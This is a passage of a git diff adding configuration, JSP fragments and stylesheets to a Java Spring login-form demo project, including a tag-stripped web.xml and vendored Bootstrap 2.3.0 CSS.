    + + + \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/web.xml b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 000000000..7bc40d323 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,147 @@ + + + + Address Book Demo + + + + + webAppRootKey + address-book-demo.root + + + + + javax.servlet.jsp.jstl.fmt.localizationContext + messages + + + + + javax.servlet.jsp.jstl.fmt.fallbackLocale + en + + + + + contextConfigLocation + + /WEB-INF/applicationContext*.xml + + + + + + rewrite-filter + org.tuckey.web.filters.urlrewrite.UrlRewriteFilter + + logLevel + commons + + + confReloadCheckInterval + -1 + + + + + encodingFilter + org.springframework.web.filter.CharacterEncodingFilter + + encoding + UTF-8 + + + forceEncoding + true + + + + + springSecurityFilterChain + org.springframework.web.filter.DelegatingFilterProxy + + + + userMDCFilter + com.todc.web.filter.UserMDCFilter + + + + sitemesh + com.opensymphony.sitemesh.webapp.SiteMeshFilter + + + + + rewrite-filter + /* + + + + encodingFilter + /* + + + + springSecurityFilterChain + /* + REQUEST + FORWARD + INCLUDE + ERROR + + + + userMDCFilter + /* + REQUEST + FORWARD + INCLUDE + ERROR + + + + sitemesh + /* + REQUEST + FORWARD + + + + + org.springframework.web.context.ContextLoaderListener + + + + org.springframework.security.web.session.HttpSessionEventPublisher + + + + + dispatcher + org.springframework.web.servlet.DispatcherServlet + 1 + + + + dispatcher + /app/* + + + + + 30 + + + + index + + + diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/common/messages.jsp b/Java/UsingSQL/JSPLoginForm/src/main/webapp/common/messages.jsp new file mode 100644 index 000000000..6b0c4415e --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/common/messages.jsp @@ -0,0 +1,23 @@ +<%-- Error Messages --%> + +
    + + " + alt="" class="icon" /> +
    +
    +
    + +
    + +<%-- Success Messages --%> + +
    + + " + alt="" class="icon" /> +
    +
    +
    + +
    \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/common/taglibs.jsp b/Java/UsingSQL/JSPLoginForm/src/main/webapp/common/taglibs.jsp new file mode 100644 index 000000000..43063c04f --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/common/taglibs.jsp @@ -0,0 +1,12 @@ +<%@ page language="java" errorPage="/error.jsp" pageEncoding="UTF-8" contentType="text/html;charset=utf-8" %> +<%@ taglib prefix="decorator" uri="http://www.opensymphony.com/sitemesh/decorator" %> +<%@ taglib prefix="page" uri="http://www.opensymphony.com/sitemesh/page" %> +<%@ taglib prefix="spring" uri="http://www.springframework.org/tags" %> +<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form" %> +<%@ taglib prefix="sec" uri="http://www.springframework.org/security/tags" %> +<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> +<%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %> +<%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions" %> + + + diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/app/global.css b/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/app/global.css new file mode 100644 index 000000000..83dfc6941 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/app/global.css @@ -0,0 +1,62 @@ +table { + font-size: 100%; +} +table thead th { + text-transform: uppercase; + font-size: 12px; +} + +/* --- TOP NAVBAR ---------------------------------------------------------- */ + +.navbar-inverse .brand { + color: #fff; +} +.navbar-inverse .brand:hover { + color: #fff; +} +.navbar-inverse .brand img { + margin-bottom: 2px; +} +.navbar-inverse .nav > li > a.logged-in-user { + color: #fff; +} + +/* --- BODY ---------------------------------------------------------------- */ + +.bd { + margin-top: 40px; +} + +/* flash messages */ +.flash { + display: block; + margin: 0 20px 20px; + font-weight: bold; + box-shadow: none; + -moz-box-shadow: none; + -webkit-box-shadow: none; +} + +/* forms */ +form .controls { + margin-bottom: 5px; + line-height: 28px; +} +.select2-container { + line-height: 20px; +} +.required:before { + content: "*"; + color: #c00; + font-weight: bold; +} + +/* --- FOOTER -------------------------------------------------------------- */ + +.ft { + font-size: 11px; + text-align: center; +} +.ft .app { + margin-left: 10px; +} \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/app/index.css b/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/app/index.css new file mode 100644 index 000000000..e69de29bb diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/app/login.css b/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/app/login.css new file mode 100644 index 000000000..188df8707 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/app/login.css @@ -0,0 +1,79 @@ +body { padding-top: 100px; padding-bottom: 40px; } +a { color: #15c; text-decoration: none; } +a:hover { color: #15c; text-decoration: underline; } +form, +label, +input[type=text], +input[type=checkbox], +input[type=password] { + margin: 0; +} + +.signin { + width: 335px; + margin: 0 auto; +} +.signin .alert { + box-shadow: none; + -moz-box-shadow: none; + -webkit-box-shadow: none; +} +.signin-box { + padding: 20px 25px 15px; + background: #f1f1f1; + border: 1px solid #e5e5e5; +} +.signin-box h2 { + font-size: 16px; + font-weight: normal; + line-height: 17px; + height: 16px; + margin: 0 0 19px; +} + +.signin-box input[type=checkbox] { + vertical-align: bottom; +} +.signin-box input[type=text], +.signin-box input[type=password] { + width: 100%; + font-size: 15px; + color: black; + line-height: normal; + height: 32px; + margin: 0 0 20px; + box-sizing: border-box; +} +.signin-box input[type=submit] { + margin: 0 20px 15px 0; +} + +.signin-box label { + color: #222; + margin: 0 0 5px; + display: block; + font-weight: bold; + font-size: 13px; +} + +.signin-box label.remember { + display: inline-block; + vertical-align: top; + margin: 9px 0 0; + line-height: 1; + font-size: 13px; +} + +.signin-box .remember-label { + font-weight: normal; + color: #666; + line-height: 0; + padding: 0 0 0 5px; +} + +.signin-box ul { + list-style: none; + line-height: 17px; + margin: 0; + padding: 0; +} \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/vendor/bootstrap.css b/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/vendor/bootstrap.css new file mode 100644 index 000000000..b25505692 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/vendor/bootstrap.css @@ -0,0 +1,6158 @@ +/*! + * Bootstrap v2.3.0 + * + * Copyright 2012 Twitter, Inc + * Licensed under the Apache License v2.0 + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Designed and built with all the love in the world @twitter by @mdo and @fat. + */ + +.clearfix { + *zoom: 1; +} + +.clearfix:before, +.clearfix:after { + display: table; + line-height: 0; + content: ""; +} + +.clearfix:after { + clear: both; +} + +.hide-text { + font: 0/0 a; + color: transparent; + text-shadow: none; + background-color: transparent; + border: 0; +} + +.input-block-level { + display: block; + width: 100%; + min-height: 30px; + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +article, +aside, +details, +figcaption, +figure, +footer, +header, +hgroup, +nav, +section { + display: block; +} + +audio, +canvas, +video { + display: inline-block; + *display: inline; + *zoom: 1; +} + +audio:not([controls]) { + display: none; +} + +html { + font-size: 100%; + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; +} + +a:focus { + outline: thin dotted #333; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} + +a:hover, +a:active { + outline: 0; +} + +sub, +sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline; +} + +sup { + top: -0.5em; +} + +sub { + bottom: -0.25em; +} + +img { + width: auto\9; + height: auto; + max-width: 100%; + vertical-align: middle; + border: 0; + -ms-interpolation-mode: bicubic; +} + +#map_canvas img, +.google-maps img { + max-width: none; +} + +button, +input, +select, +textarea { + margin: 0; + font-size: 100%; + vertical-align: middle; +} + +button, +input { + *overflow: visible; + line-height: normal; +} + +button::-moz-focus-inner, +input::-moz-focus-inner { + padding: 0; + border: 0; +} + +button, +html input[type="button"], +input[type="reset"], +input[type="submit"] { + cursor: pointer; + -webkit-appearance: button; +} + +label, +select, +button, +input[type="button"], +input[type="reset"], +input[type="submit"], +input[type="radio"], +input[type="checkbox"] { + cursor: pointer; +} + +input[type="search"] { + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; + -webkit-appearance: textfield; +} + +input[type="search"]::-webkit-search-decoration, +input[type="search"]::-webkit-search-cancel-button { + -webkit-appearance: none; +} + +textarea { + overflow: auto; + vertical-align: top; +} + +@media print { + * { + color: #000 !important; + text-shadow: none !important; + background: transparent !important; + box-shadow: none !important; + } + a, + a:visited { + text-decoration: underline; + } + a[href]:after { + content: " (" attr(href) ")"; + } + abbr[title]:after { + content: " (" attr(title) ")"; + } + .ir a:after, + a[href^="javascript:"]:after, + a[href^="#"]:after { + content: ""; + } + pre, + blockquote { + border: 1px solid #999; + page-break-inside: avoid; + } + thead { + display: table-header-group; + } + tr, + img { + page-break-inside: avoid; + } + img { + max-width: 100% !important; + } + @page { + margin: 0.5cm; + } + p, + h2, + h3 { + orphans: 3; + widows: 3; + } + h2, + h3 { + page-break-after: avoid; + } +} + +body { + margin: 0; + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 14px; + line-height: 20px; + color: #333333; + background-color: #ffffff; +} + +a { + color: #0088cc; + text-decoration: none; +} + +a:hover, +a:focus { + color: #005580; + text-decoration: underline; +} + +.img-rounded { + -webkit-border-radius: 6px; + -moz-border-radius: 6px; + border-radius: 6px; +} + +.img-polaroid { + padding: 4px; + background-color: #fff; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, 0.2); + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); + -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); +} + +.img-circle { + -webkit-border-radius: 500px; + -moz-border-radius: 500px; + border-radius: 500px; +} + +.row { + margin-left: -20px; + *zoom: 1; +} + +.row:before, +.row:after { + display: table; + line-height: 0; + content: ""; +} + +.row:after { + clear: both; +} + +[class*="span"] { + float: left; + min-height: 1px; + margin-left: 20px; +} + +.container, +.navbar-static-top .container, +.navbar-fixed-top .container, +.navbar-fixed-bottom .container { + width: 940px; +} + +.span12 { + width: 940px; +} + +.span11 { + width: 860px; +} + +.span10 { + width: 780px; +} + +.span9 { + width: 700px; +} + +.span8 { + width: 620px; +} + +.span7 { + width: 540px; +} + +.span6 { + width: 460px; +} + +.span5 { + width: 380px; +} + +.span4 { + width: 300px; +} + +.span3 { + width: 220px; +} + +.span2 { + width: 140px; +} + +.span1 { + width: 60px; +} + +.offset12 { + margin-left: 980px; +} + +.offset11 { + margin-left: 900px; +} + +.offset10 { + margin-left: 820px; +} + +.offset9 { + margin-left: 740px; +} + +.offset8 { + margin-left: 660px; +} + +.offset7 { + margin-left: 580px; +} + +.offset6 { + margin-left: 500px; +} + +.offset5 { + margin-left: 420px; +} + +.offset4 { + margin-left: 340px; +} + +.offset3 { + margin-left: 260px; +} + +.offset2 { + margin-left: 180px; +} + +.offset1 { + margin-left: 100px; +} + +.row-fluid { + width: 100%; + *zoom: 1; +} + +.row-fluid:before, +.row-fluid:after { + display: table; + line-height: 0; + content: ""; +} + +.row-fluid:after { + clear: both; +} + +.row-fluid [class*="span"] { + display: block; + float: left; + width: 100%; + min-height: 30px; + margin-left: 2.127659574468085%; + *margin-left: 2.074468085106383%; + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +.row-fluid [class*="span"]:first-child { + margin-left: 0; +} + +.row-fluid .controls-row [class*="span"] + [class*="span"] { + margin-left: 2.127659574468085%; +} + +.row-fluid .span12 { + width: 100%; + *width: 99.94680851063829%; +} + +.row-fluid .span11 { + width: 91.48936170212765%; + *width: 91.43617021276594%; +} + +.row-fluid .span10 { + width: 82.97872340425532%; + *width: 82.92553191489361%; +} + +.row-fluid .span9 { + width: 74.46808510638297%; + *width: 74.41489361702126%; +} + +.row-fluid .span8 { + width: 65.95744680851064%; + *width: 65.90425531914893%; +} + +.row-fluid .span7 { + width: 57.44680851063829%; + *width: 57.39361702127659%; +} + +.row-fluid .span6 { + width: 48.93617021276595%; + *width: 48.88297872340425%; +} + +.row-fluid .span5 { + width: 40.42553191489362%; + *width: 40.37234042553192%; +} + +.row-fluid .span4 { + width: 31.914893617021278%; + *width: 31.861702127659576%; +} + +.row-fluid .span3 { + width: 23.404255319148934%; + *width: 23.351063829787233%; +} + +.row-fluid .span2 { + width: 14.893617021276595%; + *width: 14.840425531914894%; +} + +.row-fluid .span1 { + width: 6.382978723404255%; + *width: 6.329787234042553%; +} + +.row-fluid .offset12 { + margin-left: 104.25531914893617%; + *margin-left: 104.14893617021275%; +} + +.row-fluid .offset12:first-child { + margin-left: 102.12765957446808%; + *margin-left: 102.02127659574467%; +} + +.row-fluid .offset11 { + margin-left: 95.74468085106382%; + *margin-left: 95.6382978723404%; +} + +.row-fluid .offset11:first-child { + margin-left: 93.61702127659574%; + *margin-left: 93.51063829787232%; +} + +.row-fluid .offset10 { + margin-left: 87.23404255319149%; + *margin-left: 87.12765957446807%; +} + +.row-fluid .offset10:first-child { + margin-left: 85.1063829787234%; + *margin-left: 84.99999999999999%; +} + +.row-fluid .offset9 { + margin-left: 78.72340425531914%; + *margin-left: 78.61702127659572%; +} + +.row-fluid .offset9:first-child { + margin-left: 76.59574468085106%; + *margin-left: 76.48936170212764%; +} + +.row-fluid .offset8 { + margin-left: 70.2127659574468%; + *margin-left: 70.10638297872339%; +} + +.row-fluid .offset8:first-child { + margin-left: 68.08510638297872%; + *margin-left: 67.9787234042553%; +} + +.row-fluid .offset7 { + margin-left: 61.70212765957446%; + *margin-left: 61.59574468085106%; +} + +.row-fluid .offset7:first-child { + margin-left: 59.574468085106375%; + *margin-left: 59.46808510638297%; +} + +.row-fluid .offset6 { + margin-left: 53.191489361702125%; + *margin-left: 53.085106382978715%; +} + +.row-fluid .offset6:first-child { + margin-left: 51.063829787234035%; + *margin-left: 50.95744680851063%; +} + +.row-fluid .offset5 { + margin-left: 44.68085106382979%; + *margin-left: 44.57446808510638%; +} + +.row-fluid .offset5:first-child { + margin-left: 42.5531914893617%; + *margin-left: 42.4468085106383%; +} + +.row-fluid .offset4 { + margin-left: 36.170212765957444%; + *margin-left: 36.06382978723405%; +} + +.row-fluid .offset4:first-child { + margin-left: 34.04255319148936%; + *margin-left: 33.93617021276596%; +} + +.row-fluid .offset3 { + margin-left: 27.659574468085104%; + *margin-left: 27.5531914893617%; +} + +.row-fluid .offset3:first-child { + margin-left: 25.53191489361702%; + *margin-left: 25.425531914893618%; +} + +.row-fluid .offset2 { + margin-left: 19.148936170212764%; + *margin-left: 19.04255319148936%; +} + +.row-fluid .offset2:first-child { + margin-left: 17.02127659574468%; + *margin-left: 16.914893617021278%; +} + +.row-fluid .offset1 { + margin-left: 10.638297872340425%; + *margin-left: 10.53191489361702%; +} + +.row-fluid .offset1:first-child { + margin-left: 8.51063829787234%; + *margin-left: 8.404255319148938%; +} + +[class*="span"].hide, +.row-fluid [class*="span"].hide { + display: none; +} + +[class*="span"].pull-right, +.row-fluid [class*="span"].pull-right { + float: right; +} + +.container { + margin-right: auto; + margin-left: auto; + *zoom: 1; +} + +.container:before, +.container:after { + display: table; + line-height: 0; + content: ""; +} + +.container:after { + clear: both; +} + +.container-fluid { + padding-right: 20px; + padding-left: 20px; + *zoom: 1; +} + +.container-fluid:before, +.container-fluid:after { + display: table; + line-height: 0; + content: ""; +} + +.container-fluid:after { + clear: both; +} + +p { + margin: 0 0 10px; +} + +.lead { + margin-bottom: 20px; + font-size: 21px; + font-weight: 200; + line-height: 30px; +} + +small { + font-size: 85%; +} + +strong { + font-weight: bold; +} + +em { + font-style: italic; +} + +cite { + font-style: normal; +} + +.muted { + color: #999999; +} + +a.muted:hover, +a.muted:focus { + color: #808080; +} + +.text-warning { + color: #c09853; +} + +a.text-warning:hover, +a.text-warning:focus { + color: #a47e3c; +} + +.text-error { + color: #b94a48; +} + +a.text-error:hover, +a.text-error:focus { + color: #953b39; +} + +.text-info { + color: #3a87ad; +} + +a.text-info:hover, +a.text-info:focus { + color: #2d6987; +} + +.text-success { + color: #468847; +} + +a.text-success:hover, +a.text-success:focus { + color: #356635; +} + +.text-left { + text-align: left; +} + +.text-right { + text-align: right; +} + +.text-center { + text-align: center; +} + +h1, +h2, +h3, +h4, +h5, +h6 { + margin: 10px 0; + font-family: inherit; + font-weight: bold; + line-height: 20px; + color: inherit; + text-rendering: optimizelegibility; +} + +h1 small, +h2 small, +h3 small, +h4 small, +h5 small, +h6 small { + font-weight: normal; + line-height: 1; + color: #999999; +} + +h1, +h2, +h3 { + line-height: 40px; +} + +h1 { + font-size: 38.5px; +} + +h2 { + font-size: 31.5px; +} + +h3 { + font-size: 24.5px; +} + +h4 { + font-size: 17.5px; +} + +h5 { + font-size: 14px; +} + +h6 { + font-size: 11.9px; +} + +h1 small { + font-size: 24.5px; +} + +h2 small { + font-size: 17.5px; +} + +h3 small { + font-size: 14px; +} + +h4 small { + font-size: 14px; +} + +.page-header { + padding-bottom: 9px; + margin: 20px 0 30px; + border-bottom: 1px solid #eeeeee; +} + +ul, +ol { + padding: 0; + margin: 0 0 10px 25px; +} + +ul ul, +ul ol, +ol ol, +ol ul { + margin-bottom: 0; +} + +li { + line-height: 20px; +} + +ul.unstyled, +ol.unstyled { + margin-left: 0; + list-style: none; +} + +ul.inline, +ol.inline { + margin-left: 0; + list-style: none; +} + +ul.inline > li, +ol.inline > li { + display: inline-block; + *display: inline; + padding-right: 5px; + padding-left: 5px; + *zoom: 1; +} + +dl { + margin-bottom: 20px; +} + +dt, +dd { + line-height: 20px; +} + +dt { + font-weight: bold; +} + +dd { + margin-left: 10px; +} + +.dl-horizontal { + *zoom: 1; +} + +.dl-horizontal:before, +.dl-horizontal:after { + display: table; + line-height: 0; + content: ""; +} + +.dl-horizontal:after { + clear: both; +} + +.dl-horizontal dt { + float: left; + width: 160px; + overflow: hidden; + clear: left; + text-align: right; + text-overflow: ellipsis; + white-space: nowrap; +} + +.dl-horizontal dd { + margin-left: 180px; +} + +hr { + margin: 20px 0; + border: 0; + border-top: 1px solid #eeeeee; + border-bottom: 1px solid #ffffff; +} + +abbr[title], +abbr[data-original-title] { + cursor: help; + border-bottom: 1px dotted #999999; +} + +abbr.initialism { + font-size: 90%; + text-transform: uppercase; +} + +blockquote { + padding: 0 0 0 15px; + margin: 0 0 20px; + border-left: 5px solid #eeeeee; +} + +blockquote p { + margin-bottom: 0; + font-size: 17.5px; + font-weight: 300; + line-height: 1.25; +} + +blockquote small { + display: block; + line-height: 20px; + color: #999999; +} + +blockquote small:before { + content: '\2014 \00A0'; +} + +blockquote.pull-right { + float: right; + padding-right: 15px; + padding-left: 0; + border-right: 5px solid #eeeeee; + border-left: 0; +} + +blockquote.pull-right p, +blockquote.pull-right small { + text-align: right; +} + +blockquote.pull-right small:before { + content: ''; +} + +blockquote.pull-right small:after { + content: '\00A0 \2014'; +} + +q:before, +q:after, +blockquote:before, +blockquote:after { + content: ""; +} + +address { + display: block; + margin-bottom: 20px; + font-style: normal; + line-height: 20px; +} + +code, +pre { + padding: 0 3px 2px; + font-family: Monaco, Menlo, Consolas, "Courier New", monospace; + font-size: 12px; + color: #333333; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} + +code { + padding: 2px 4px; + color: #d14; + white-space: nowrap; + background-color: #f7f7f9; + border: 1px solid #e1e1e8; +} + +pre { + display: block; + padding: 9.5px; + margin: 0 0 10px; + font-size: 13px; + line-height: 20px; + word-break: break-all; + word-wrap: break-word; + white-space: pre; + white-space: pre-wrap; + background-color: #f5f5f5; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, 0.15); + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; +} + +pre.prettyprint { + margin-bottom: 20px; +} + +pre code { + padding: 0; + color: inherit; + white-space: pre; + white-space: pre-wrap; + background-color: transparent; + border: 0; +} + +.pre-scrollable { + max-height: 340px; + overflow-y: scroll; +} + +form { + margin: 0 0 20px; +} + +fieldset { + padding: 0; + margin: 0; + border: 0; +} + +legend { + display: block; + width: 100%; + padding: 0; + margin-bottom: 20px; + font-size: 21px; + line-height: 40px; + color: #333333; + border: 0; + border-bottom: 1px solid #e5e5e5; +} + +legend small { + font-size: 15px; + color: #999999; +} + +label, +input, +button, +select, +textarea { + font-size: 14px; + font-weight: normal; + line-height: 20px; +} + +input, +button, +select, +textarea { + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; +} + +label { + display: block; + margin-bottom: 5px; +} + +select, +textarea, +input[type="text"], +input[type="password"], +input[type="datetime"], +input[type="datetime-local"], +input[type="date"], +input[type="month"], +input[type="time"], +input[type="week"], +input[type="number"], +input[type="email"], +input[type="url"], +input[type="search"], +input[type="tel"], +input[type="color"], +.uneditable-input { + display: inline-block; + height: 20px; + padding: 4px 6px; + margin-bottom: 10px; + font-size: 14px; + line-height: 20px; + color: #555555; + vertical-align: middle; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; +} + +input, +textarea, +.uneditable-input { + width: 206px; +} + +textarea { + height: auto; +} + +textarea, +input[type="text"], +input[type="password"], +input[type="datetime"], +input[type="datetime-local"], +input[type="date"], +input[type="month"], +input[type="time"], +input[type="week"], +input[type="number"], +input[type="email"], +input[type="url"], +input[type="search"], +input[type="tel"], +input[type="color"], +.uneditable-input { + background-color: #ffffff; + border: 1px solid #cccccc; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + -webkit-transition: border linear 0.2s, box-shadow linear 0.2s; + -moz-transition: border linear 0.2s, box-shadow linear 0.2s; + -o-transition: border linear 0.2s, box-shadow linear 0.2s; + transition: border linear 0.2s, box-shadow linear 0.2s; +} + +textarea:focus, +input[type="text"]:focus, +input[type="password"]:focus, +input[type="datetime"]:focus, +input[type="datetime-local"]:focus, +input[type="date"]:focus, +input[type="month"]:focus, +input[type="time"]:focus, +input[type="week"]:focus, +input[type="number"]:focus, +input[type="email"]:focus, +input[type="url"]:focus, +input[type="search"]:focus, +input[type="tel"]:focus, +input[type="color"]:focus, +.uneditable-input:focus { + border-color: rgba(82, 168, 236, 0.8); + outline: 0; + outline: thin dotted \9; + /* IE6-9 */ + + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); +} + +input[type="radio"], +input[type="checkbox"] { + margin: 4px 0 0; + margin-top: 1px \9; + *margin-top: 0; + line-height: normal; +} + +input[type="file"], +input[type="image"], +input[type="submit"], +input[type="reset"], +input[type="button"], +input[type="radio"], +input[type="checkbox"] { + width: auto; +} + +select, +input[type="file"] { + height: 30px; + /* In IE7, the height of the select element cannot be changed by height, only font-size */ + + *margin-top: 4px; + /* For IE7, add top margin to align select with labels */ + + line-height: 30px; +} + +select { + width: 220px; + background-color: #ffffff; + border: 1px solid #cccccc; +} + +select[multiple], +select[size] { + height: auto; +} + +select:focus, +input[type="file"]:focus, +input[type="radio"]:focus, +input[type="checkbox"]:focus { + outline: thin dotted #333; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} + +.uneditable-input, +.uneditable-textarea { + color: #999999; + cursor: not-allowed; + background-color: #fcfcfc; + border-color: #cccccc; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025); +} + +.uneditable-input { + overflow: hidden; + white-space: nowrap; +} + +.uneditable-textarea { + width: auto; + height: auto; +} + +input:-moz-placeholder, +textarea:-moz-placeholder { + color: #999999; +} + +input:-ms-input-placeholder, +textarea:-ms-input-placeholder { + color: #999999; +} + +input::-webkit-input-placeholder, +textarea::-webkit-input-placeholder { + color: #999999; +} + +.radio, +.checkbox { + min-height: 20px; + padding-left: 20px; +} + +.radio input[type="radio"], +.checkbox input[type="checkbox"] { + float: left; + margin-left: -20px; +} + +.controls > .radio:first-child, +.controls > .checkbox:first-child { + padding-top: 5px; +} + +.radio.inline, +.checkbox.inline { + display: inline-block; + padding-top: 5px; + margin-bottom: 0; + vertical-align: middle; +} + +.radio.inline + .radio.inline, +.checkbox.inline + .checkbox.inline { + margin-left: 10px; +} + +.input-mini { + width: 60px; +} + +.input-small { + width: 90px; +} + +.input-medium { + width: 150px; +} + +.input-large { + width: 210px; +} + +.input-xlarge { + width: 270px; +} + +.input-xxlarge { + width: 530px; +} + +input[class*="span"], +select[class*="span"], +textarea[class*="span"], +.uneditable-input[class*="span"], +.row-fluid input[class*="span"], +.row-fluid select[class*="span"], +.row-fluid textarea[class*="span"], +.row-fluid .uneditable-input[class*="span"] { + float: none; + margin-left: 0; +} + +.input-append input[class*="span"], +.input-append .uneditable-input[class*="span"], +.input-prepend input[class*="span"], +.input-prepend .uneditable-input[class*="span"], +.row-fluid input[class*="span"], +.row-fluid select[class*="span"], +.row-fluid textarea[class*="span"], +.row-fluid .uneditable-input[class*="span"], +.row-fluid .input-prepend [class*="span"], +.row-fluid .input-append [class*="span"] { + display: inline-block; +} + +input, +textarea, +.uneditable-input { + margin-left: 0; +} + +.controls-row [class*="span"] + [class*="span"] { + margin-left: 20px; +} + +input.span12, +textarea.span12, +.uneditable-input.span12 { + width: 926px; +} + +input.span11, +textarea.span11, +.uneditable-input.span11 { + width: 846px; +} + +input.span10, +textarea.span10, +.uneditable-input.span10 { + width: 766px; +} + +input.span9, +textarea.span9, +.uneditable-input.span9 { + width: 686px; +} + +input.span8, +textarea.span8, +.uneditable-input.span8 { + width: 606px; +} + +input.span7, +textarea.span7, +.uneditable-input.span7 { + width: 526px; +} + +input.span6, +textarea.span6, +.uneditable-input.span6 { + width: 446px; +} + +input.span5, +textarea.span5, +.uneditable-input.span5 { + width: 366px; +} + +input.span4, +textarea.span4, +.uneditable-input.span4 { + width: 286px; +} + +input.span3, +textarea.span3, +.uneditable-input.span3 { + width: 206px; +} + +input.span2, +textarea.span2, +.uneditable-input.span2 { + width: 126px; +} + +input.span1, +textarea.span1, +.uneditable-input.span1 { + width: 46px; +} + +.controls-row { + *zoom: 1; +} + +.controls-row:before, +.controls-row:after { + display: table; + line-height: 0; + content: ""; +} + +.controls-row:after { + clear: both; +} + +.controls-row [class*="span"], +.row-fluid .controls-row [class*="span"] { + float: left; +} + +.controls-row .checkbox[class*="span"], +.controls-row .radio[class*="span"] { + padding-top: 5px; +} + +input[disabled], +select[disabled], +textarea[disabled], +input[readonly], +select[readonly], +textarea[readonly] { + cursor: not-allowed; + background-color: #eeeeee; +} + +input[type="radio"][disabled], +input[type="checkbox"][disabled], +input[type="radio"][readonly], +input[type="checkbox"][readonly] { + background-color: transparent; +} + +.control-group.warning .control-label, +.control-group.warning .help-block, +.control-group.warning .help-inline { + color: #c09853; +} + +.control-group.warning .checkbox, +.control-group.warning .radio, +.control-group.warning input, +.control-group.warning select, +.control-group.warning textarea { + color: #c09853; +} + +.control-group.warning input, +.control-group.warning select, +.control-group.warning textarea { + border-color: #c09853; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); +} + +.control-group.warning input:focus, +.control-group.warning select:focus, +.control-group.warning textarea:focus { + border-color: #a47e3c; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e; + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e; +} + +.control-group.warning .input-prepend .add-on, +.control-group.warning .input-append .add-on { + color: #c09853; + background-color: #fcf8e3; + border-color: #c09853; +} + +.control-group.error .control-label, +.control-group.error .help-block, +.control-group.error .help-inline { + color: #b94a48; +} + +.control-group.error .checkbox, +.control-group.error .radio, +.control-group.error input, +.control-group.error select, +.control-group.error textarea { + color: #b94a48; +} + +.control-group.error input, +.control-group.error select, +.control-group.error textarea { + border-color: #b94a48; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); +} + +.control-group.error input:focus, +.control-group.error select:focus, +.control-group.error textarea:focus { + border-color: #953b39; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392; + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392; +} + +.control-group.error .input-prepend .add-on, +.control-group.error .input-append .add-on { + color: #b94a48; + background-color: #f2dede; + border-color: #b94a48; +} + +.control-group.success .control-label, +.control-group.success .help-block, +.control-group.success .help-inline { + color: #468847; +} + 